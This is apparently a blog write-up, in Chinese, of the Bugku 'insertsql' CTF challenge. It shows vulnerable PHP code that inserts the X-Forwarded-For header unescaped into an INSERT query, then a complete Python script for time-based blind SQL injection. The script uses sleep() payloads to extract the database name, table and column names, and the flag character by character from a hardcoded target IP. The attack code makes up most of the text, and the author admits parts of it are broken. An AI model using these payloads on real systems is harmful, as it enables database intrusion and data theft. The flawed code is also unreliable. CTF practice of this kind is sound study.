bugku insertsql
0X00题目给出的PHP代码
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')"; //将得到的IP插入到数据库
mysql_query($sql);
0x01 insert sql漏洞
将消息插入数据库
一般出现地方:电商生成订单接口存在INSERT型SQL注入漏洞,可修改订单金额数据,生成订单时会往数据库插入数据,但此处使用了动态查询语句的方式进行插入,通过注入数据可以达到篡改订单数据的目的
本题注入点X_FORWARDED_FOR
0x02 Python 脚本:
import requests
import sys
import string def getdblen(url): #获得库名长度
sql="1'+(select case when(select length(database())={0}) then sleep(4) else 1 end) and '1'='1"
for i in range(1,50):
header={'X-Forwarded-For':sql.format(str(i))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
print("database name len:",i)
break def gettablelen(url): #获得数据表名长度 没有输出 不知道错误在哪 很烦~~,查不到错误。有没有limit 都没有输出
#limit的作用是查询到好几行数据,选取其中的几行 limit 1,1就是 第二行一行的数据(从0开始计算行数)
sql="'+(select case when(select length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1}) then sleep(4) else 1 end) and '1'='1"
for n in range(0,5):
for i in range(1,20):
header={'X-Forwarded-For':sql.format(str(n),str(i))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
print("table %s name len:%d"%(n,i))
break def getdb(url):
database_name=''
sql="1' and (case when (substr((select database()) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
#逐个字母破解数据库名,{0}、{1}相当于标记了两处变量,用于下面的format语句
for i in range(1,10): #猜测数据库名字在9个字符以内
for str in range(32,129): #通过循环,逐个字母匹配
if chr==128:
sys.exit(0)#如果没有匹配,就退出循环
header={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
database_name+=chr(str)
print(database_name)
break
return database_name def gettable(url):
table_name=''
payload="'+(select case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
for i in range(1,50):
#print(i)
for str in guess:
if ord(str)==128:
sys.exit(0)
header={'X-Forwarded-For':payload.format(i,str)}
try:
s=requests.get(url,headers=header,timeout=3)
except:
table_name+=str
print(table_name)
break
return table_name def getcolumn(url):
column_name=''
sql="'+(select case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
#guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
for i in range(20):
for str in range(32,129):
if str==128:
sys.exit(0)
payload={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=payload,timeout=3)
except:
column_name+=chr(str)
print(column_name)
break
return column_name def getmessage(url):
message=''
sql="'+(select case when(substr((select group_concat(flag) from flag)from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
for i in range(1,35):
for str in range(32,129):
if str==128:
sys.exit(0)
payload={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=payload,timeout=3)
except:
message+=chr(str)
print(message)
break
return message if __name__=='__main__':
url="http://123.206.87.240:8002/web15/"
print(getdb(url))
#tablename = gettable(url)
#print(tablename)
#columname = getcolumn(url)
#message=getmessage(url) #print(temp.lower())
#getdblen(url)
#gettablelen(url)
#getdb(url)
代码借鉴了其他人的wp,并加上自己的一点想法,查询名长度等
总结:要加强写脚本的能力,多学习mysql语句,有好几个语句是因为不对才没有注入成功的。
bugku insertsql的更多相关文章
- bugku login2 writeup 不使用vps的方法
0x00前言 这个题是sql注入与命令执行相结合的一个题,思路有两个: 一.:sql注入登录web系统,命令执行反弹公网IP监听端口(需要vps),此种方法详见链接:http://www.bugku. ...
- bugku 密码学一些题的wp
---恢复内容开始--- 1.滴答滴 摩斯密码,http://tool.bugku.com/mosi/ 2.聪明的小羊 从提示猜是栅栏密码,http://tool.bugku.com/jiemi/ 3 ...
- 于bugku中游荡意外得到关于CBC翻转攻击思路
个人简介:渣渣一枚,萌新一个,会划水,会喊六六今天在bugku遇到关于CBC翻转攻击的题目,总结了一下关于CBC翻转攻击的原理,以及关于这道题目的解题思路个人博客:https://www.cnblog ...
- http://www.bugku.com:Bugku——PHP伪协议+魔幻函数+序列化的综合应用(http://120.24.86.145:8006/test1/)
这一道题目,幸好俺有基础知识护体,不然还真干不掉. 首先,登录看题目,取消隐藏代码的注释.可知可输入三个参数txt.file和password并进行逻辑判断:应该让txt==‘welcom ...
- http://www.bugku.com:Bugku——备份是个好习惯(http://120.24.86.145:8002/web16/)
看了bugku的这道题,陌生又熟悉. 题目首先说[备份是个好习惯],访问网站只有一串字符,,,,,emmmmm,这句话表明人家经常做备份,所以咯,肯定在网站哪里备份有网页信息.嘻嘻 1 ...
- http://www.bugku.com:Bugku——jsfuckWEB5(http://120.24.86.145:8002/web5/index.php)
今天又做了bugku上面的一道题.使用到了jsfuck,它是什么捏? 它是Javascript原子化的一种简易表达方式,用[]()!+就可以表示所有的Javascript字符,不依赖于浏览器. ...
- http://www.bugku.com:Bugku——SQL注入1(http://103.238.227.13:10087/)
Bugku——SQL注入1(http://103.238.227.13:10087/) 过滤了几乎所有的关键字,尝试绕过无果之后发现,下面有个xss过滤代码.经搜索得该函数会去掉所有的html标签,所 ...
- Bugku——Flag在index里(http://120.24.86.145:8005/post/)
Bugku——Flag在index里(http://120.24.86.145:8005/post/) 进入题目发现有一个file参数,查看源码,发现该参数可以包含php文件,并且题目提示,flag在 ...
- BugKu 2B+基于python的opencv的安装-------CTF 盲水印的套路
BugKu杂项-2B 下载图片后,binwalk下跑一跑,发现有个zip,分离. 值得一提的是,这个zip是伪加密的. 但是你在分离的时候,伪加密的图片也给你分离出来了.这两个图片2B和B2肉眼看起来 ...
随机推荐
- 逆向工程文件example完美结合使用PageHelper分页插件及分页不成功原因
原生的mybatis需要手写sql语句,项目数据库表多了之后,可以让你写sql语句写到手软,于是mybatis官方提供了mybatis-generator:mybatis逆向工程代码生成工具,用于简化 ...
- 搭建Dubbo Admin(五)
Dubbo Admin下载地址(2019年9月8日):https://github.com/apache/dubbo-admin 注意:JDK要求1.8以上 1. 进入到模块 dubbo-admin- ...
- Excel-统计函数
1.Count系列函数 COUNT 数字个数----下面结果为 4 counta 非空的字数 ----下面为6 COUNTBLANK ------非空个数 ---- 下面为9 如何将字符串形式的数字 ...
- ESP8266 LUA脚本语言开发: 准备工作-LUA开发说明
前言 开发Lua需要使用这个软件 注:该软件需要按照JDK 即 JAVA虚拟机,如果没有安装过JDK,请先看JDK安装教程安装JDK USB线连接开发板接入电脑 选择自己的串口号 波特率115200 ...
- Java解决方案
1.新建模板类提示版本太低 Syntax error, type parameters are only available if source level is 1.5 当我的eclipse使用jd ...
- P3613 【深基15.例2】寄包柜
传送门 题目大意 往一个\(a[i][j]\) 里边放东西,也可以取走东西,然后查询\(a[i][j]\)里边是什么东西. 思路: 显然我们可以暴力,但是你开不了那么大的数组. 翻了翻dalao们的题 ...
- 8.9 NOIP模拟测试15 建设城市(city)+轰炸行动(bomb)+石头剪刀布(rps)
鉴于T3的惨烈程度,我决定先来颓篇题解. T1 建设城市(city) 挡板法+容斥 m个建设队分成n组,每组必须有一个,先不考虑上限,共有 C(m-1,n-1)种方案. 有i个组是超过k个的,容斥掉 ...
- 拒绝后门程序-Alibabaprotect和AliPaladin
详细参考帖子及评论区:流氓进程AlibabaProtect的删除[程序员吧]_百度贴吧 首先打开服务找到AlibabaProtect,然后找到他的位置(C:\Program Files (x86)\A ...
- Navicat的安装和pymysql模块的使用
内容回顾 select distinct 字段1,字段2,... from 表名 where 分组之前的过滤条件 group by 分组条件 having 分组之后过滤条件 order by 排序字段 ...
- Java 获取所有子类信息
我以前的博客(Java Scala获取注解的类信息)介绍过通过Reflections工具通过使用特定注解的类的信息,其实本工具也可以获取接口,抽象类,类等的所有子类信息.使用方法如下: Reflect ...